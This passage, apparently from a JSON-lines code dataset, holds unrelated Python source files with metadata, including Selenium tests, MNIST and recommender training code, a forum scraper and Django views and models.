GetData()\n count = 0\n self.driver.find_element_by_xpath(Data.hyper_link).click()\n self.p.page_loading(self.driver)\n self.driver.find_element_by_id('cluster').click()\n self.p.page_loading(self.driver)\n time.sleep(5)\n scores = Select(self.driver.find_element_by_id(\"choose_infra\"))\n for i in range(1,len(scores.options)):\n time.sleep(2)\n scores.select_by_index(i)\n self.p.page_loading(self.driver)\n markers = self.driver.find_elements_by_class_name(Data.dots)\n dots = len(markers) - 1\n if dots == 0:\n print(scores.options[i].text, 'does not contains markers on map ')\n count = count + 1\n self.p.page_loading(self.driver)\n scores.select_by_index(1)\n time.sleep(2)\n return count","sub_path":"tests/src/UDISE/click_on_clusters_and_scores.py","file_name":"click_on_clusters_and_scores.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"577633793","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2018-11-26 21:10:21\n# @Author : Star (1140330611@qq.com)\n# @Link : https://github.com/chenstarsQ/My-Python-Study-Note\n# @Version : $Id$\n\n\ndef getNum():\n nums = []\n iNumStr = input(\"请输入数字(回车退出):\")\n while iNumStr != \"\":\n nums.append(eval(iNumStr))\n iNumStr = input(\"请输入数字(回车退出):\")\n return nums\n\n\ndef mean(numbers):\n s = 0.0\n for num in numbers:\n s = s+num\n return s/len(numbers)\n\n\ndef dev(numbers, mean):\n sdev = 0.0\n for num in numbers:\n sdev = sdev + (num-mean)**2\n return pow(sdev/(len(numbers)-1), 0.5)\n\n\ndef median(numbers):\n sorted(numbers)\n size = len(numbers)\n if size/2 == 0:\n med = (numbers[size//2-1]+numbers[size//2])/2\n else:\n med = numbers[size//2]\n return med\n\n\nn = getNum()\nm = mean(n)\nprint(\"平均值:{},方差:{:.2},中位数:{}.\".format(m, dev(n, m), median(n)))\n","sub_path":"Pyicurse/CalstatisticsV1.py","file_name":"CalstatisticsV1.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"330407946","text":"import matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nfrom os import listdir, path\nfrom os.path import join\nfrom scipy import ndimage\nfrom skimage import io, filters, color, util\nimport MNIST.config as config\n\nimport os, struct\nfrom array import array as pyarray\nfrom numpy import append, array, int8, uint8, zeros\n\n\nclass ImageDataOperator(object):\n def __init__(self):\n # Get training images\n self._training_set, self._train_labels = self.load_mnist('training')\n self._test_set, self._test_labels = self.load_mnist('testing')\n\n def gettrainingset(self):\n return self._training_set, self._train_labels\n\n def gettestset(self):\n return self._test_set, self._test_labels\n\n def load_mnist(self, dataset=\"training\", digits=np.arange(10), path=config.IMG_DATA):\n \"\"\"\n Loads MNIST files into 3D numpy arrays\n\n Adapted from: http://abel.ee.ucla.edu/cvxopt/_downloads/mnist.py\n \"\"\"\n\n if dataset == \"training\":\n fname_img = os.path.join(path, 'train-images-idx3-ubyte')\n fname_lbl = os.path.join(path, 'train-labels-idx1-ubyte')\n elif dataset == \"testing\":\n fname_img = os.path.join(path, 't10k-images-idx3-ubyte')\n fname_lbl = os.path.join(path, 't10k-labels-idx1-ubyte')\n else:\n raise ValueError(\"dataset must be 'testing' or 'training'\")\n\n flbl = open(fname_lbl, 'rb')\n magic_nr, size = struct.unpack(\">II\", flbl.read(8))\n lbl = pyarray(\"b\", flbl.read())\n flbl.close()\n\n fimg = open(fname_img, 'rb')\n magic_nr, size, rows, cols = struct.unpack(\">IIII\", fimg.read(16))\n img = pyarray(\"B\", fimg.read())\n fimg.close()\n\n ind = [k for k in range(size) if lbl[k] in digits]\n N = len(ind)\n\n images = zeros((N, rows, cols), dtype=uint8)\n labels = zeros((N, 1), dtype=int8)\n for i in range(len(ind)):\n images[i] = array(img[ind[i] * rows * cols: (ind[i] + 1) * rows * cols]).reshape((rows, cols))\n labels[i] = lbl[ind[i]]\n\n return images, labels\n\n def get_image(self, idx, set=\"training\"):\n if set == \"training\":\n img = self._training_set[idx]\n lbl = self._train_labels[idx]\n elif set == \"testing\":\n img = self._test_set[idx]\n lbl = self._test_labels[idx]\n else:\n raise ValueError(\"dataset must be 'testing' or 'training'\")\n return img, lbl\n\n\n def get_sigma_img(self, img):\n mask_size = 3\n mask = np.ones((mask_size, mask_size))\n mask = (mask / pow(mask_size, 2))\n mu = ndimage.convolve(img, mask)\n mu2 = ndimage.convolve(pow(img, 2), mask)\n sigma = np.sqrt(mu2 - pow(mu, 2))\n return sigma\n\n def get_pixel_pos(self, lbimg):\n num_pixels = config.IMG_SIZE[0] * config.IMG_SIZE[1]\n pos_m = np.where(lbimg >= 0)[0] # all 'm' co-ords\n pos_m = pos_m.reshape(num_pixels, 1) / float(config.IMG_SIZE[0])\n pos_n = np.where(lbimg >= 0)[1] # all 'n' co-ords\n pos_n = pos_n.reshape(1, num_pixels) / float(config.IMG_SIZE[1])\n return pos_m, pos_n\n\n\n\n def get_nbh_diff(self, img):\n \"\"\"\n\n :param img:\n :return:\n \"\"\"\n fsize = 3\n footprints = []\n for i in range(fsize):\n for j in range(fsize):\n f = np.zeros((fsize, fsize))\n f[i, j] = 1\n footprints.append(f)\n neighbours = None\n for footprint in footprints:\n nb = ndimage.correlate(img, footprint)\n nb = nb - img\n if neighbours is None:\n neighbours = nb.reshape((1, config.IMG_SIZE[0] * config.IMG_SIZE[1]))\n else:\n nb_reshaped = nb.reshape((1, config.IMG_SIZE[0] * config.IMG_SIZE[1]))\n neighbours = np.hstack((neighbours, nb_reshaped))\n return neighbours\n\n @staticmethod\n def nbh_func(nbh):\n return np.max(nbh)\n\n def extract_feature_data(self, set=\"training\"):\n \"\"\"\n\n :param train_idx1: start index of training images\n :param train_idx2: end index of training images\n :return: features extracted from all training images with corresponding labels\n \"\"\"\n\n ft = np.array([])\n target = np.array([])\n\n if set == \"training\":\n fimages = self._training_set\n t = self._train_labels\n elif set == \"testing\":\n fimages = self._test_set\n t = self._test_labels\n else:\n raise ValueError(\"dataset must be 'testing' or 'training'\")\n\n ft = fimages.reshape((fimages.shape[0], fimages.shape[1] * fimages.shape[2]))\n target = t.ravel() # train function for RF requires 1-D array for the labels, ravel() takes care of this\n return ft, target\n\n\n def display_images(self, set=\"training\", idx=[1]):\n for i in idx:\n img, lbl = self.get_image(i, set)\n fig = plt.figure()\n plt.title(\"MNIST Image {0}, Label {1}\".format(i, lbl))\n plt.imshow(img, 'gray')\n plt.close()\n\n\n\nclass ImageDataAnalyser(object):\n def __init__(self):\n pass\n\n @staticmethod\n def calculate_error(result, target):\n if result == target:\n return 1\n else:\n return 0\n\n","sub_path":"MNIST/ImageModule.py","file_name":"ImageModule.py","file_ext":"py","file_size_in_byte":5420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"382222703","text":"#!/usr/bin/env python\n\n\"\"\"\nunit_tests5.py\n\nSample unittest -- Create suite, then add individual tests (functions).\n\"\"\"\n\nimport unittest\nfrom xml.dom import minidom\nimport minidom_walk\nimport unit_tests_dbg\n\n\nclass MinidomTestCase(unittest.TestCase):\n\n## def __init__(self, documentname):\n## unittest.TestCase.__init__(self)\n## self.documentname = documentname\n\n def setUp(self):\n self.doc = minidom.parse('people.xml')\n\n def test_getroot(self):\n # Can we get the root element of the document?\n unit_tests_dbg.dbgprint('test #1')\n root = self.doc.documentElement\n self.assertTrue(isinstance(root, minidom.Element))\n\n def test_children(self):\n # Does the root element have at least one child element?\n unit_tests_dbg.dbgprint('test #2')\n root = self.doc.documentElement\n foundOne = False\n for child in root.childNodes:\n if child.nodeType == minidom.Node.ELEMENT_NODE:\n foundOne = True\n break\n self.assertTrue(foundOne)\n\n def test_minidomwalk(self):\n # Does show_node() process at least one child?\n unit_tests_dbg.dbgprint('test #3')\n root = self.doc.documentElement\n count = minidom_walk.show_node(root, 1, True)\n self.assertTrue(count > 0)\n\n\ndef get_suite():\n suite = unittest.TestSuite()\n suite.addTest(MinidomTestCase('test_getroot'))\n suite.addTest(MinidomTestCase('test_children'))\n return suite\n\n\ndef main():\n suite = get_suite()\n # verbosity = 0 (none) or 1 (dots) or 2 (name/description)\n unittest.TextTestRunner(verbosity=2).run(suite)\n\nif __name__ == '__main__':\n #unittest.main()\n main()\n","sub_path":"Training/2014-0110-training/Code_python/Unittest/unit_tests5.py","file_name":"unit_tests5.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"216658672","text":"#Collecting_Signatures\nn = int(input())\nseg = []\n#a = [int(x) for x in input().split()]\n#for i in range(0,len(a),2):\n# seg.append([a[i],a[i+1]])\n\nfor i in range(n):\n seg.append([int(x) for x in input().split()])\n#seg = [[4,7],[1,3],[2,5],[5,6]]\nseg = sorted(seg,key=lambda x:x[0])\n\ncounter=0\nnum = 0\npoints=[]\nwhile (counter 3] = 1\r\n return target\r\n\r\n def __preprocess_data(self, folder_path):\r\n full_data = []\r\n\r\n for fold_index in range(5):\r\n data = pickle.load(open(os.path.join(folder_path, \"{}.pkl\".format(fold_index)), 'rb'))\r\n episodes = data['data']\r\n for episode in episodes:\r\n for conv in episode:\r\n if conv['ml_id']:\r\n for m in conv['ml_id']:\r\n r = 5 if conv['sentiment'] >= 0.5 else 0\r\n full_data.append([self.seeker_id, m, r])\r\n self.seeker_id += 1\r\n\r\n return np.array(full_data)\r\n\r\n\r\nclass GoRecEvalDataset(torch.utils.data.Dataset):\r\n def __init__(self, data, items):\r\n # test data\r\n # data = self.__preprocess_data('data/gorecdial/transformer/gorecdial_flr1e-6_l21e-6/test.pkl')\r\n self.ranked_items = np.unique(items[:, 1])\r\n\r\n items = data[:, :2].astype(np.int)\r\n self.items = self.__extend_test(items)\r\n\r\n self.user_field_idx = np.array((0, ), dtype=np.long)\r\n self.item_field_idx = np.array((1,), dtype=np.long)\r\n\r\n def __len__(self):\r\n return self.items.shape[0]\r\n\r\n def __getitem__(self, index):\r\n return self.items[index]\r\n\r\n def __extend_test(self, items):\r\n extended_items = []\r\n user_id = np.unique(items[:, 0])\r\n print('saving the evaluation dataset')\r\n for u in tqdm.tqdm(user_id):\r\n for m in self.ranked_items:\r\n extended_items.append([u, m])\r\n return np.array(extended_items)\r\n\r\n def __preprocess_target(self, target):\r\n target[target <= 3] = 0\r\n target[target > 3] = 1\r\n return target\r\n\r\n # def __preprocess_data(self, folder_path):\r\n # seeker_id = 0\r\n # full_data = []\r\n #\r\n # for fold_index in range(5):\r\n # data = pickle.load(open(os.path.join(folder_path, \"{}.pkl\".format(fold_index)), 'rb'))\r\n # episodes = data['data']\r\n # for episode in episodes:\r\n # for conv in episode:\r\n # if conv['ml_id']:\r\n # for m in conv['ml_id']:\r\n # r = 5 if conv['sentiment'] >= 0.5 else 0\r\n # full_data.append([seeker_id, m, r])\r\n # seeker_id += 1\r\n #\r\n # return np.array(full_data)\r\n\r\n\r\ndef get_model(name, dataset):\r\n \"\"\"\r\n Hyperparameters are empirically determined, not opitmized.\r\n \"\"\"\r\n field_dims = dataset.field_dims\r\n if name == 'lr':\r\n return LogisticRegressionModel(field_dims)\r\n elif name == 'fm':\r\n return FactorizationMachineModel(field_dims, embed_dim=16)\r\n # elif name == 'hofm':\r\n # return HighOrderFactorizationMachineModel(field_dims, order=3, embed_dim=16)\r\n elif name == 'ffm':\r\n return FieldAwareFactorizationMachineModel(field_dims, embed_dim=4)\r\n elif name == 'fnn':\r\n return FactorizationSupportedNeuralNetworkModel(field_dims, embed_dim=16, mlp_dims=(16, 16), dropout=0.2)\r\n elif name == 'wd':\r\n return WideAndDeepModel(field_dims, embed_dim=16, mlp_dims=(16, 16), dropout=0.2)\r\n elif name == 'ipnn':\r\n return ProductNeuralNetworkModel(field_dims, embed_dim=16, mlp_dims=(16,), method='inner', dropout=0.2)\r\n elif name == 'opnn':\r\n return ProductNeuralNetworkModel(field_dims, embed_dim=16, mlp_dims=(16,), method='outer', dropout=0.2)\r\n elif name == 'dcn':\r\n return DeepCrossNetworkModel(field_dims, embed_dim=16, num_layers=3, mlp_dims=(16, 16), dropout=0.2)\r\n elif name == 'nfm':\r\n return NeuralFactorizationMachineModel(field_dims, embed_dim=64, mlp_dims=(64,), dropouts=(0.2, 0.2))\r\n elif name == 'ncf':\r\n # only supports MovieLens dataset because for other datasets user/item colums are indistinguishable\r\n assert isinstance(dataset, MovieLens20MDataset) or isinstance(dataset, MovieLens1MDataset)\r\n return NeuralCollaborativeFiltering(field_dims, embed_dim=16, mlp_dims=(16, 16), dropout=0.2,\r\n user_field_idx=dataset.user_field_idx,\r\n item_field_idx=dataset.item_field_idx)\r\n elif name == 'fnfm':\r\n return FieldAwareNeuralFactorizationMachineModel(field_dims, embed_dim=4, mlp_dims=(64,), dropouts=(0.2, 0.2))\r\n elif name == 'dfm':\r\n return DeepFactorizationMachineModel(field_dims, embed_dim=16, mlp_dims=(16, 16), dropout=0.2)\r\n elif name == 'xdfm':\r\n return ExtremeDeepFactorizationMachineModel(\r\n field_dims, embed_dim=16, cross_layer_sizes=(16, 16), split_half=False, mlp_dims=(16, 16), dropout=0.2)\r\n elif name == 'afm':\r\n return AttentionalFactorizationMachineModel(field_dims, embed_dim=16, attn_size=16, dropouts=(0.2, 0.2))\r\n elif name == 'afi':\r\n return AutomaticFeatureInteractionModel(\r\n field_dims, embed_dim=16, atten_embed_dim=64, num_heads=2, num_layers=3, mlp_dims=(400, 400), dropouts=(0, 0, 0))\r\n elif name == 'afn':\r\n print(\"Model:AFN\")\r\n return AdaptiveFactorizationNetwork(\r\n field_dims, embed_dim=16, LNN_dim=1500, mlp_dims=(400, 400, 400), dropouts=(0, 0, 0))\r\n else:\r\n raise ValueError('unknown model name: ' + name)\r\n\r\n\r\ndef train(model, optimizer, data_loader, criterion, device, log_interval=100):\r\n model.train()\r\n total_loss = 0\r\n tk0 = tqdm.tqdm(data_loader, smoothing=0, mininterval=1.0)\r\n for i, (fields, target) in enumerate(tk0):\r\n fields, target = fields.to(device), target.to(device)\r\n y = model(fields)\r\n loss = criterion(y, target.float())\r\n model.zero_grad()\r\n loss.backward()\r\n optimizer.step()\r\n total_loss += loss.item()\r\n if (i + 1) % log_interval == 0:\r\n tk0.set_postfix(loss=total_loss / log_interval)\r\n total_loss = 0\r\n\r\n\r\ndef test(model, data_loader, device):\r\n model.eval()\r\n targets, predicts = list(), list()\r\n with torch.no_grad():\r\n for fields, target in tqdm.tqdm(data_loader, smoothing=0, mininterval=1.0):\r\n fields, target = fields.to(device), target.to(device)\r\n y = model(fields)\r\n targets.extend(target.tolist())\r\n predicts.extend(y.tolist())\r\n return roc_auc_score(targets, predicts)\r\n\r\n\r\ndef eval_metrics(model, test_dataloader, test_extend_loader, device):\r\n model.eval()\r\n item_ranks = []\r\n predicts = []\r\n users = []\r\n items = []\r\n\r\n with torch.no_grad():\r\n for fields in tqdm.tqdm(test_extend_loader, smoothing=0, mininterval=1.0):\r\n users.extend(fields[:, 0].tolist())\r\n items.extend(fields[:, 1].tolist())\r\n\r\n fields = fields.to(device)\r\n y = model(fields)\r\n predicts.extend(y.tolist())\r\n\r\n df = pd.DataFrame({'user': users,\r\n 'item': items,\r\n 'rating': predicts})\r\n df_grouped = df.groupby('user')\r\n\r\n ranking = []\r\n for g, rows in df_grouped:\r\n ranking.extend(rows['rating'].rank(method='dense', ascending=False).values.tolist())\r\n\r\n df['ranking'] = ranking\r\n\r\n for fields, _ in test_dataloader:\r\n for field in fields:\r\n field = field.tolist()\r\n m, u = field[0], field[1]\r\n # for m, u in fields:\r\n r = df[(df['user'] == m) & (df['item'] == u)].ranking.values[0]\r\n item_ranks.append(([r], [fields[1]]))\r\n\r\n return compute_metrics(item_ranks)\r\n\r\n\r\n\r\ndef main(model_name,\r\n epoch,\r\n batch_size,\r\n learning_rate,\r\n weight_decay,\r\n device):\r\n train_dataset = GoRecDataset(mode='train')\r\n test_dataset = GoRecDataset(mode='test')\r\n test_extend_dataset = GoRecEvalDataset(test_dataset.data, test_dataset.full_items)\r\n train_data_loader = DataLoader(train_dataset, batch_size=batch_size, num_workers=8)\r\n test_data_loader = DataLoader(test_dataset, batch_size=batch_size, num_workers=8)\r\n test_extend_loader = DataLoader(test_extend_dataset, batch_size=batch_size, num_workers=8)\r\n\r\n\r\n model = get_model(model_name, train_dataset).to(device)\r\n criterion = torch.nn.BCELoss()\r\n optimizer = torch.optim.Adam(params=model.parameters(), lr=learning_rate, weight_decay=weight_decay)\r\n\r\n for epoch_i in range(epoch):\r\n train(model, optimizer, train_data_loader, criterion, device)\r\n auc = test(model, test_data_loader, device)\r\n print('epoch:', epoch_i, 'validation: auc:', auc)\r\n\r\n print(eval_metrics(model, test_data_loader, test_extend_loader, device))\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n import argparse\r\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--model_name', default='fm')\r\n parser.add_argument('--epoch', type=int, default=1)\r\n parser.add_argument('--learning_rate', type=float, default=0.001)\r\n parser.add_argument('--batch_size', type=int, default=2048)\r\n parser.add_argument('--weight_decay', type=float, default=1e-6)\r\n\r\n args = parser.parse_args()\r\n main(args.model_name,\r\n args.epoch,\r\n args.batch_size,\r\n args.learning_rate,\r\n args.weight_decay,\r\n device)\r\n\r\n","sub_path":"run_fm.py","file_name":"run_fm.py","file_ext":"py","file_size_in_byte":14787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"4861928","text":"import pickle\nimport json\n\nimport datetime\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.common.keys import Keys\n\nfrom eolthread import EOLThread\nfrom eolmessage import EOLMessage\nfrom eolmessage import extract_date_from_date_element\nfrom eolmessage import extract_message_from_date_element\nfrom eolforummessage import EOLForumMessage\nfrom eolforum import EOLForum\n\n\nclass EOLScraper():\n \"\"\"\n A scraper will perform the necessary scraping for a specific URL.\n \"\"\"\n def __init__(self):\n self.browser = None\n self.thread = EOLThread()\n self.forum = EOLForum()\n\n def create_browser_session(self, visual=False, max_load_page_time=10):\n # Set up the options for the browser\n options = webdriver.ChromeOptions()\n # Make the browser to not load images\n prefs = {\"profile.managed_default_content_settings.images\": 2}\n options.add_experimental_option(\"prefs\", prefs)\n # Make it open an incognito window\n options.add_argument(\" - incognito\")\n if not visual:\n options.add_argument(\"--headless\")\n\n # Create the browser instance\n self.browser = webdriver.Chrome(executable_path='./chromedriver', chrome_options=options)\n\n # Give a page a maximum time to load\n self.browser.set_page_load_timeout(max_load_page_time)\n\n def close_browser_session(self):\n self.browser.quit()\n\n def log_in(self):\n \"\"\"\n Use this in case thread access requires log-in.\n \"\"\"\n # Load user configuration\n with open('config.json') as f:\n user_config = json.load(f)\n\n USER = user_config['username']\n PASS = user_config['password']\n STORE_FILE = user_config['file_to_store']\n\n assert USER != \"\" and PASS != \"\", 'Username or password not supplied in \"config.json\"!'\n\n self.browser.get('https://www.elotrolado.net/ucp.php?mode=login')\n\n # Click on the \"Username\" field\n wait_visible(self.browser, '//*[@id=\"username\"]')\n log_in_button = self.browser.find_elements_by_xpath('//*[@id=\"username\"]')[0]\n log_in_button.send_keys(USER)\n\n # Click on the \"Password\" field\n wait_visible(self.browser, '//*[@id=\"password\"]')\n pwd_button = self.browser.find_elements_by_xpath('//*[@id=\"password\"]')[0]\n pwd_button.send_keys(PASS)\n pwd_button.send_keys(Keys.ENTER)\n\n def scrape_thread_from_scratch(self, thread_url, message_count):\n self.thread = EOLThread()\n\n # By default, 10 messages are displayed per page\n for page in range(0, message_count, 10):\n is_last_page = (message_count - (message_count%10) == page)\n\n extra_stuff = \"_s{}\".format(page)\n\n # For the first page, we do not need to add anything\n if page == 0:\n extra_stuff = ''\n\n url_to_load = '{}{}'.format(thread_url, extra_stuff)\n timeout_happened = False\n try:\n self.browser.get(url_to_load)\n except TimeoutException:\n print('Timeout when trying to get: {}'.format(url_to_load))\n timeout_happened = True\n\n dates = self.browser.find_elements_by_xpath('//*/div[3]/div[2]/div[1]/time/a')\n\n if timeout_happened and len(dates) != 10:\n print('When this timeout happened, only {} messages were loaded'.format(len(dates)))\n if not is_last_page:\n print('Since it is not the last page, messages are not added for analysis')\n continue\n\n for d in dates:\n message = extract_message_from_date_element(d)\n self.thread.add_message(message)\n\n def scrape_forum_from_scratch(self, forum_url, page_count):\n self.forum = EOLForum()\n\n for page in range(1, page_count+1):\n extension = \"_s{}\".format((page-1)*50)\n if page == 1:\n extension = \"\"\n\n # Load the proper URL\n self.browser.get(\"{}{}\".format(forum_url, extension))\n\n wait_visible(self.browser, \"//img[@class='open']\")\n\n threads = self.browser.find_elements_by_class_name('col-xs-24')\n\n # Class must be precisely 'col-xs-24'\n proper_messages = list(filter(lambda el: el.get_attribute('class') == 'col-xs-24', threads))\n\n # Pop the first element, since it is not a message\n proper_messages.pop(0)\n\n # Now, proper_messages will contain all the messages\n\n for el in proper_messages:\n author = el.find_element_by_xpath('./div/div[1]/div[2]/div[1]/a').text\n title = el.find_element_by_xpath('./div/div[1]/div[1]/div/a').text\n message_count = el.find_element_by_xpath('./div/div[2]').text\n view_count = el.find_element_by_xpath('./div/div[3]').text\n last_message_by = el.find_element_by_xpath('./div/div[4]/span[1]/a').text\n last_message_at = el.find_element_by_xpath('./div/div[4]/span[2]/a').text\n\n msg = EOLForumMessage(author, title, message_count, view_count,\n last_message_by, last_message_at)\n self.forum.add_message(msg)\n\n def serialize_thread(self, filename='result.pickle'):\n try:\n with open(filename, 'wb') as f:\n pickle.dump(self.thread, f, protocol=pickle.HIGHEST_PROTOCOL)\n print('Thread saved OK!')\n except:\n print('Something went wrong when writing thread results')\n\n\ndef wait_visible(browser, xpath, timeout=20):\n \"\"\"\n Given an element by its xpath, waits for it to be visible or timeout.\n \"\"\"\n try:\n WebDriverWait(browser, timeout).until(EC.visibility_of_element_located((By.XPATH, xpath)))\n except TimeoutException:\n print('Timed out waiting for element \"{}\" to be visible'.format(xpath))\n browser.quit()\n\n\ndef click_on_element(browser, xpath):\n \"\"\"\n Given an element by its xpath, waits for it to be visible and clicks on\n it.\n \"\"\"\n wait_visible(browser, xpath)\n browser.find_elements_by_xpath(xpath)[0].click()\n\n\ndef get_date_elements_from_thread(browser):\n \"\"\"\n When the browser is in a thread, this function will return a list\n with all the date elements from the current page.\n\n XPath of the dates match only the dates of the messages, so we can\n use them to find the messages.\n \"\"\"\n return browser.find_elements_by_xpath('//*/div[3]/div[2]/div[1]/time/a')\n","sub_path":"eolscraper.py","file_name":"eolscraper.py","file_ext":"py","file_size_in_byte":6799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"78784443","text":"'''Dada a lista a seguir, crie uma segunda lista \napenas com os itens na mesma ordem mas sem repetição.\n\n\nl = [1, 3, 2, 3, 4, 5, 1, 5, 7, 6, 8, 3, 4]'''\n\nl = [1, 3, 2, 3, 4, 5, 1, 5, 7, 6, 8, 3, 4]\ns = set()\n\nfor item in l:\n s.add(item)\n\nprint(s)","sub_path":"Aula8 - dicionarios/lista.py","file_name":"lista.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"321710042","text":"from ._buffer import Buffer, BufferReadError, BufferWriteError # noqa\n\n\ndef size_uint_var(value: int) -> int:\n \"\"\"\n Returns the number of bytes required to encode the given value\n as a QUIC variable-length unsigned integer.\n \"\"\"\n if value <= 0x3F:\n return 1\n elif value <= 0x3FFF:\n return 2\n elif value <= 0x3FFFFFFF:\n return 4\n elif value <= 0x3FFFFFFFFFFFFFFF:\n return 8\n else:\n raise ValueError(\"Integer is too big for a variable-length integer\")\n","sub_path":"aioquic/buffer.py","file_name":"buffer.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"7663346","text":"from django.shortcuts import render\r\nfrom tickets.models import Ticket\r\nfrom donations.models import Donation\r\nfrom django.http import Http404, JsonResponse, HttpResponse\r\nfrom django.views.decorators.csrf import csrf_exempt\r\nfrom django.core import serializers\r\nimport json\r\n\r\n\r\n@csrf_exempt\r\ndef dev_panel(request):\r\n \"\"\"\r\n Returns the homepage of the dashboard and\r\n retrieves all the tickets and the personal\r\n user profile with its watchlist\r\n \"\"\"\r\n\r\n # Get request parameters\r\n try:\r\n app_type = request.GET.get('app', 'finder_app')\r\n query = request.GET.get('query', '')\r\n start_range = int(request.GET.get('start', '1')) - 1\r\n limit_range = int(request.GET.get('limit', '10'))\r\n except:\r\n raise Http404\r\n\r\n # Get tickets from correct app\r\n if app_type == 'finder_app':\r\n tickets = Ticket.objects.filter(\r\n finder_app=True, recipe_community=False).order_by('-date_created')\r\n elif app_type == 'recipe_community':\r\n tickets = Ticket.objects.filter(\r\n finder_app=False, recipe_community=True).order_by('-date_created')\r\n else:\r\n raise Http404\r\n\r\n if query != '':\r\n tickets = tickets.filter(search_field__contains=query.lower())\r\n\r\n # Select range of the tickets\r\n if tickets.count() > start_range + limit_range:\r\n load_more = True\r\n tickets = tickets[start_range:start_range+limit_range]\r\n else:\r\n load_more = False\r\n tickets = tickets[start_range:]\r\n\r\n # For authenticated users only (dashboard and watchlist)\r\n if request.user.is_authenticated:\r\n watchlist = request.user.watchlist.all()\r\n created_tickets = request.user.created_tickets.all()\r\n summary = {\r\n 'nr_bugs': Ticket.objects.filter(user=request.user, ticket_type=1).count(),\r\n 'nr_features': Ticket.objects.filter(user=request.user, ticket_type=2).count(),\r\n 'nr_donations': Donation.objects.filter(user=request.user).count()\r\n }\r\n else:\r\n watchlist = None\r\n summary = None\r\n created_tickets = None\r\n\r\n # Send response\r\n if request.method == 'GET':\r\n return render(request, 'dev_panel.html', {'tickets': tickets, 'watchlist': watchlist,\r\n 'user_summary': summary, 'created_tickets': created_tickets, 'app_type': app_type, 'load_more': load_more})\r\n if request.method == 'POST':\r\n ticket_data = [get_ticket_data(ticket) for ticket in tickets]\r\n return HttpResponse(json.dumps({'load_more': load_more, 'data': ticket_data}), content_type='application/json')\r\n\r\n\r\ndef get_ticket_data(ticket):\r\n return {\r\n 'id': ticket.pk,\r\n 'user_name': ticket.user.first_name + ' ' + ticket.user.last_name,\r\n 'date_created': ticket.date_created.strftime('%d %b, %Y'),\r\n 'ticket_type': ticket.ticket_type.name,\r\n 'title': ticket.title,\r\n 'ticket_id': ticket.ticket_id,\r\n 'nr_comments': ticket.nr_comments,\r\n 'upvotes': ticket.upvotes\r\n }\r\n","sub_path":"dev_panel/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"239109855","text":"from apogee.utils import remove_comments\n\n\ndef load(path, factor, fmt=\"apg\"):\n return loads(open(path, \"r\").read(), factor, fmt=fmt)\n\n\ndef loads(data, factor, fmt=\"apg\"):\n return [factor.from_string(x, fmt=fmt) for x in unpack_factors(data, fmt=fmt)]\n\n\ndef unpack_factors(data, fmt=\"apg\"):\n if fmt == \"apg\":\n return _unpack_apg(data)\n elif fmt == \"dai\":\n return _unpack_dai(data)\n else:\n raise ValueError(\"Unknown factor format '{0}'.\".format(fmt))\n\n\ndef _unpack_dai(data):\n data = remove_comments(data, mode=\"py\")\n data = [x for x in data.split(\"\\n\") if len(x) > 0]\n n = int(data.pop(0))\n factors = []\n\n while len(data) > 0:\n factor, data = _extract_dai_factor(data)\n factors.append(factor)\n return factors\n\n\ndef _extract_dai_factor(data):\n if len(data) > 0:\n k = int(data[3])\n factor = data[:4]\n factor.extend([\" \".join(data[4+i].split()) for i in range(k)])\n return \"\\n\".join(factor), data[4+k:]\n else:\n return None\n\n\ndef _unpack_apg(data):\n data = remove_comments(data, mode=\"py\")\n data = [x for x in data.split(\"\\n\") if len(x) > 0][1:]\n\n block = []\n string = \"\"\n\n while len(data) > 0:\n\n line = data.pop(0)\n if \"v\" in line:\n if len(string) > 0:\n block.append(string)\n string = line + \"\\n\"\n else:\n string += line + \"\\n\"\n\n if len(string) > 0:\n block.append(string)\n\n return block\n","sub_path":"apogee/models/probabilistic/misc/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"306662827","text":"from django.conf import settings\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.db import models\nfrom django.utils.html import strip_tags\n\nfrom ckeditor_uploader.fields import RichTextUploadingField\n\nclass NewsletterUser(models.Model):\n email = models.EmailField()\n date_added = models.DateTimeField(auto_now_add=True)\n\n def __len__(self):\n return len(self.email)\n\n def __str__(self):\n return self.email\n\n\nclass AutoResponder(models.Model):\n SIGN_UP = 'Signup'\n UNSUBSCRIBE = 'Unsubscribe'\n NEWSLETTER = 'Newsletter'\n TAG_CHOICES = (\n (SIGN_UP, 'Signup'),\n (UNSUBSCRIBE, 'Unsubscribe'),\n )\n\n content = RichTextUploadingField()\n date_added = models.DateTimeField(auto_now_add=True)\n category = models.CharField(max_length=11, choices=TAG_CHOICES,\n default=NEWSLETTER)\n\n def __str__(self):\n return self.category + ' ' + str(self.date_added)\n\n\nclass Newsletter(models.Model):\n DRAFT = 'Draft'\n PUBLISHED = 'Published'\n EMAIL_STATUS_CHOICES = (\n 